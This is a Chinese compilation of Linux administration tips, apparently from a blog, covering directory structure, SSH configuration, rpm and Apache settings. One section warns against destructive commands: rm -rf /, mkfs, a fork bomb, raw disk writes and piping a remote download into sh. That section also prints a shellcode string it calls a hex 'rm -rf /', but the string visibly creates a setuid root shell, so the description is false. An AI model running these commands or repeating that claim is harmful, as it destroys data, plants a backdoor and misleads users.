Fatmouse

Linux目录结构分解及意义和建议 Linux

Linux目录结构分解及意义和建议

/root --- 启动Linux时使用的一些核心文件。如操作系统内核、引导程序Grub等。home --- 存储普通用户的个人文件 ftp --- 用户所有服务 httpd samba user1 user2bin --- 系统启动时需要的执行文件(二进制)sbin --- 可执行程序的目录,但大多存放涉及系统管理的命令。只有root权限才能执行proc --- 虚拟,存在linux内核镜像;保存所有内核参数以及系统配置信息 1 --- 进程编号usr --- 用户目录,存放用户级的文件 bin --- 几乎所有用户所用命令,另外存在与/bin,/usr/local/bin sbin --- 系统管理员命令,与用户相关,例如,大部分服务器程序 include ---  存放C/C++头文件的目录 lib --- 固定的程序数据 local --- 本地安装软件保存位置 man --- 手工生成的目录 info --- 信息文档 doc --- 不同包文档信息 tmp X11R6 ---  该目录用于保存运行X-Window所需的所有文件。该目录中还包含用于运行GUI要的配置文件和二进制文件。 X386 --- 功能同X11R6,X11 发行版5 的系统文件boot --- 引导加载器所需文件,系统所需图片保存于此lib --- 根文件系统目录下程序和核心模块的公共库 modules --- 可加载模块,系统崩溃后重启所需模块dev --- 设备文件目录etc --- 配置文件 skel --- home目录建立,该目录初始化 sysconfig --- 网络,时间,键盘等配置目录var file lib --- 该目录下的文件在系统运行时,会改变 local --- 安装在/usr/local的程序数据,变化的 lock --- 文件使用特定外设或文件,为其上锁,其他文件暂时不能访问 log --- 记录日志 run --- 系统运行合法信息 spool --- 打印机、邮件、代理服务器等假脱机目录 tmp catman --- 缓存目录mnt --- 临时用于挂载文件系统的地方。一般情况下这个目录是空的,而在我们将要挂载分区时在这个目录下建立目录,再将我们将要访问的设备挂载在这个目录上,这样我们就可访问文件了。tmp --- 临时文件目录,系统启动后的临时文件存放在/var/tmplost+found --- 在文件系统修复时恢复的文件
个性化修改Linux登录时的字符界面 Linux

个性化修改Linux登录时的字符界面

如果采用root账号登录编辑/etc/bashrc内容,那所有其他帐号登录都会提示相同的内容,如果想每个用户进行配置,那就去每个帐号的目录下去配置吧。这里提供改一个文件所有帐号都能看到的个性显示内容。 代码如下:vim /etc/bashrc#在顶部添加以下内容:c2="$(tput bold)$(tput setaf 2)"echo "$c2  _     _            _                 ___ "echo "$c2 | |   (_)          | |               / __)"echo "$c2 | |  _ _  ____ ____| | _____ _____ _| |__ "echo "$c2 | |_/ ) |/ ___) ___) || ___ (____ (_   __)"echo "$c2 |  _ (| ( (__( (___| || ____/ ___ | | |   "echo "$c2 |_| _)_|____)____)_)_____)_____| |_|   "echo "$(tput sgr0)"
高效使用SSH的16条技巧 Linux

高效使用SSH的16条技巧

1. 多条连接共享如果你需要在多个窗口中打开到同一个服务器的连接,而不想每次都输入用户名,密码,或是等待连接建立,那么你可以配置SSH的连接共享选项,在本地打开你的SSH配置文件,通常它们位于~/.ssh/config,然后添加下面2行: 代码如下:ControlMaster autoControlPath /tmp/ssh_mux_%h_%p_%r
Linux下查看nginx apache mysql php的编译参数 Linux

Linux下查看nginx apache mysql php的编译参数

快速查看服务器软件的编译参数:1、nginx编译参数: your_nginx_dir/sbin/nginx -v 2、apache编译参数: cat your_apache_dir/build/config.nice 3、php编译参数: your_php_dir/bin/php -i |grep configure 4、mysql编译参数: cat your_mysql_dir/bin/mysqlbug |grep configure
Linux系统管理常用命令及参数说明中文版 Linux

Linux系统管理常用命令及参数说明中文版

whois  功能说明:查找并显示用户信息。  语  法:whois [帐号名称]  补充说明:whois指令会去查找并显示指定帐号的用户相关信息,因为它是到Network Solutions的WHOIS数据库去查找,所以该帐号名称必须在上面注册方能寻获,且名称没有大小写的差别。
Linux系统信息查看常用命令 Linux

Linux系统信息查看常用命令

系统# uname -a               # 查看内核/操作系统/CPU信息# head -n 1 /etc/issue   # 查看操作系统版本# cat /proc/cpuinfo      # 查看CPU信息# hostname               # 查看计算机名# lspci -tv              # 列出所有PCI设备# lsusb -tv              # 列出所有USB设备# lsmod                  # 列出加载的内核模块# env                    # 查看环境变量
Linux sshd_config配置手册中文版 Linux

Linux sshd_config配置手册中文版

[注意]值是大小写敏感的,但指令是大小写无关的。 代码如下:# 1. 关于 SSH Server 的整体设定,包含使用的 port 啦,以及使用的密码演算方式Port 22          # SSH 预设使用 22 这个 port,您也可以使用多的 port !              # 亦即重复使用 port 这个设定项目即可!Protocol 2,1        # 选择的 SSH 协议版本,可以是 1 也可以是 2 ,              # 如果要同时支持两者,就必须要使用 2,1 这个分隔了!#ListenAddress 0.0.0.0   # 监听的主机适配卡!举个例子来说,如果您有两个 IP,              # 分别是 192.168.0.100 及 192.168.2.20 ,那么只想要              # 开放 192.168.0.100 时,就可以写如同下面的样式:ListenAddress 192.168.0.100          # 只监听来自 192.168.0.100 这个 IP 的SSH联机。                   # 如果不使用设定的话,则预设所有接口均接受 SSHPidFile /var/run/sshd.pid      # 可以放置 SSHD 这个 PID 的档案!左列为默认值LoginGraceTime 600     # 当使用者连上 SSH server 之后,会出现输入密码的画面,              # 在该画面中,在多久时间内没有成功连上 SSH server ,              # 就断线!时间为秒!Compression yes      # 是否可以使用压缩指令?当然可以 # 2. 说明主机的 Private Key 放置的档案,预设使用下面的档案即可!HostKey /etc/ssh/ssh_host_key    # SSH version 1 使用的私钥HostKey /etc/ssh/ssh_host_rsa_key  # SSH version 2 使用的 RSA 私钥HostKey /etc/ssh/ssh_host_dsa_key  # SSH version 2 使用的 DSA 私钥# 2.1 关于 version 1 的一些设定!KeyRegenerationInterval 3600     # 由前面联机的说明可以知道, version 1 会使用                    # server 的 Public Key ,那么如果这个 Public                    # Key 被偷的话,岂不完蛋?所以需要每隔一段时间                   # 来重新建立一次!这里的时间为秒!ServerKeyBits 768           # 没错!这个就是 Server key 的长度!# 3. 关于登录文件的讯息数据放置与 daemon 的名称!SyslogFacility AUTH         # 当有人使用 SSH 登入系统的时候,SSH会记录资                   # 讯,这个信息要记录在什么 daemon name 底下?                   # 预设是以 AUTH 来设定的,即是 /var/log/secure                   # 里面!什么?忘记了!回到 Linux 基础去翻一下                   # 其它可用的 daemon name 为:DAEMON,USER,AUTH,                   # LOCAL0,LOCAL1,LOCAL2,LOCAL3,LOCAL4,LOCAL5,LogLevel INFO            # 登录记录的等级!嘿嘿!任何讯息!                   # 同样的,忘记了就回去参考!# 4. 安全设定项目!极重要!# 4.1 登入设定部分PermitRootLogin no     # 是否允许 root 登入!预设是允许的,但是建议设定成 no!UserLogin no        # 在 SSH 底下本来就不接受 login 这个程序的登入!StrictModes yes      # 当使用者的 host key 改变之后,Server 就不接受联机,              # 可以抵挡部分的木马程序!#RSAAuthentication yes   # 是否使用纯的 RSA 认证!?仅针对 version 1 !PubkeyAuthentication yes  # 是否允许 Public Key ?当然允许啦!只有 version 2AuthorizedKeysFile      .ssh/authorized_keys              # 上面这个在设定若要使用不需要密码登入的账号时,那么那个              # 账号的存放档案所在档名!# 4.2 认证部分RhostsAuthentication no  # 本机系统不止使用 .rhosts ,因为仅使用 .rhosts 太              # 不安全了,所以这里一定要设定为 no !IgnoreRhosts yes      # 是否取消使用 ~/.ssh/.rhosts 来做为认证!当然是!RhostsRSAAuthentication no # 这个选项是专门给 version 1 用的,使用 rhosts 档案在              # /etc/hosts.equiv配合 RSA 演算方式来进行认证!不要使用HostbasedAuthentication no # 这个项目与上面的项目类似,不过是给 version 2 使用的!IgnoreUserKnownHosts no  # 是否忽略家目录内的 ~/.ssh/known_hosts 这个档案所记录              # 的主机内容?当然不要忽略,所以这里就是 no 啦!PasswordAuthentication yes # 密码验证当然是需要的!所以这里写 yes PermitEmptyPasswords no  # 若上面那一项如果设定为 yes 的话,这一项就最好设定              # 为 no ,这个项目在是否允许以空的密码登入!当然不许!ChallengeResponseAuthentication yes  # 挑战任何的密码认证!所以,任何 login.conf                    # 规定的认证方式,均可适用!#PAMAuthenticationViaKbdInt yes      # 是否启用其它的 PAM 模块!启用这个模块将会                   # 导致 PasswordAuthentication 设定失效! # 4.3 与 Kerberos 有关的参数设定!因为我们没有 Kerberos 主机,所以底下不用设定!#KerberosAuthentication no#KerberosOrLocalPasswd yes#KerberosTicketCleanup yes#KerberosTgtPassing no # 4.4 底下是有关在 X-Window 底下使用的相关设定!X11Forwarding yes#X11DisplayOffset 10#X11UseLocalhost yes# 4.5 登入后的项目:PrintMotd no              # 登入后是否显示出一些信息呢?例如上次登入的时间、地点等             # 等,预设是 yes ,但是,如果为了安全,可以考虑改为 no !PrintLastLog yes     # 显示上次登入的信息!可以啊!预设也是 yes !KeepAlive yes       # 一般而言,如果设定这项目的话,那么 SSH Server 会传送             # KeepAlive 的讯息给 Client 端,以确保两者的联机正常!             # 在这个情况下,任何一端死掉后, SSH 可以立刻知道!而不会             # 有僵尸程序的发生!UsePrivilegeSeparation yes # 使用者的权限设定项目!就设定为 yes 吧!MaxStartups 10      # 同时允许几个尚未登入的联机画面?当我们连上 SSH ,             # 但是尚未输入密码时,这个时候就是我们所谓的联机画面啦!             # 在这个联机画面中,为了保护主机,所以需要设定最大值,             # 预设最多十个联机画面,而已经建立联机的不计算在这十个当中# 4.6 关于使用者抵挡的设定项目:DenyUsers *        # 设定受抵挡的使用者名称,如果是全部的使用者,那就是全部             # 挡吧!若是部分使用者,可以将该账号填入!例如下列!DenyUsers testDenyGroups test      # 与 DenyUsers 相同!仅抵挡几个群组而已!# 5. 关于 SFTP 服务的设定项目!Subsystem       sftp    /usr/lib/ssh/sftp-server
致命的7个Linux命令 Linux

致命的7个Linux命令

1.rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。2.char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″“x6ex2fx73x68x00x2dx63x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。3.mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。4.:(){ :|:& };: 著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。5.any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。6.wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。7.mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
Linux服务器选择什么版本好 Linux

Linux服务器选择什么版本好

1.如果是规模较大公司,拥有50台+ ,或者几百台 server,建议你保持原样或者用 red Hat Enterprise ,redhat是所以linux发行版中,对驱动兼容性测试做的最好的发行版,毕竟是商业公司,保持原样是 不折腾。几十台服务器的系统一般都是固定用途,需要配置的软件就那么几种,装好一台之后,写脚本批量装其他的即可,自己在局域网配置一个PXE,上新机也最容易2.如果是个人站长,1 ···
linux VPS之间网站数据的备份与恢复(网站迁移教程) Linux

linux VPS之间网站数据的备份与恢复(网站迁移教程)

本文所用命令Debian和CentOS通用,文件目录默认与LNMP相同,请做相应修改。 文中www.xxx.com绑定在VPS1的wwwroot目录上为例 1.VPS1上数据打包(备份) a.VPS1上文件数据打包(Tar命令详解 ) cd /home/wwwroot/ tar zcvf xxx.tar.gz 网站目录(如/home/wwwroot/vmvps.com) b.VPS1上MySQL数 ···
linux命令详解之rpm命令参数使用方法 Linux

linux命令详解之rpm命令参数使用方法

rpm 执行安装包二进制包(Binary)以及源代码包(Source)两种。二进制包可以直接安装在计算机中,而源代码包将会由 RPM自动编译、安装。源代码包经常以src.rpm作为后缀名。常用命令组合:-ivh:安装显示安装进度--install--verbose--hash-Uvh:升级软件包--Update;-qpl: 列出RPM软件包内的文件信息[Query Package list];-qpi:列出RPM软件包的描述信息[Query Package install package(s)];-qf:查找指定文件属于哪个RPM软件包[Query File];-Va:校验所有的 RPM软件包,查找丢失的文件[View Lost];-e:删除包 代码如下:rpm -q samba //查询程序是否安装rpm -ivh /media/cdrom/RedHat/RPMS/samba-3.0.10-1.4E.i386.rpm //按路径安装并显示进度rpm -ivh --relocate /=/opt/gaim gaim-1.3.0-1.fc4.i386.rpm    //指定安装目录rpm -ivh --test gaim-1.3.0-1.fc4.i386.rpm    //用来检查依赖关系;并不是真正的安装;rpm -Uvh --oldpackage gaim-1.3.0-1.fc4.i386.rpm //新版本降级为旧版本rpm -qa | grep httpd     #[搜索指定rpm包是否安装]--all搜索*httpd*rpm -ql httpd         #[搜索rpm包]--list所有文件安装目录rpm -qpi Linux-1.4-6.i368.rpm #[查看rpm包]--query--package--install package信息rpm -qpf Linux-1.4-6.i368.rpm #[查看rpm包]--filerpm -qpR file.rpm       #[查看包]依赖关系rpm2cpio file.rpm |cpio -div   #[抽出文件]rpm -ivh file.rpm  #[安装新的rpm]--install--verbose--hashrpm -ivh http://mirrors.kernel.org/fedora/core/4/i386/os/Fedora/RPMS/gaim-1.3.0-1.fc4.i386.rpmrpm -Uvh file.rpm   #[升级一个rpm]--upgraderpm -e file.rpm     #[删除一个rpm包]--erase
关闭Apache的目录浏览功能的方法 Linux

关闭Apache的目录浏览功能的方法

修改配置文件/etc/httpd/conf/httpd.conf,把: 引用 Options Indexes FollowSymLinks 改为: 引用 Options -Indexes FollowSymLinks 重启httpd服务即可,这样可以把所有网站的Indexes选项都取消。
Apache中如何设置默认首页具体该怎么操作 Linux

Apache中如何设置默认首页具体该怎么操作

在你安装后的Apache目录下,有一个conf目录,在这个目录里,有一个"httpd.conf"文件.我们要做的,就是修改这个文件. 在这个文件里,凡是以"#"开头的每一行,都是无效的,如果你想让你的设置起作用,就要把行首的"#"去掉. 找到 DirectoryIndex 这段.把它改成DirectoryIndex index.php index.Html index.html 这样,你的网站目录 ···
禁止apache显示目录索引的常见方法(apache禁止列目录) Linux

禁止apache显示目录索引的常见方法(apache禁止列目录)

禁止Apache显示目录索引,禁止Apache显示目录结构列表,禁止Apache浏览目录,这是网上提问比较多的,其实都是一个意思。下面说下禁止禁止Apache显示目录索引的常见的3种方法。要实现禁止Apache显示目录索引,只需将 Option 中的 Indexes 去掉即可。
修改sshd默认端口的步骤 Linux

修改sshd默认端口的步骤

具体步骤如下:一 修改配置文件 代码如下:vi /etc/ssh/sshd_config找到“Port 22”,去掉注释,改成新的端口号,比如: 代码如下:Port 22342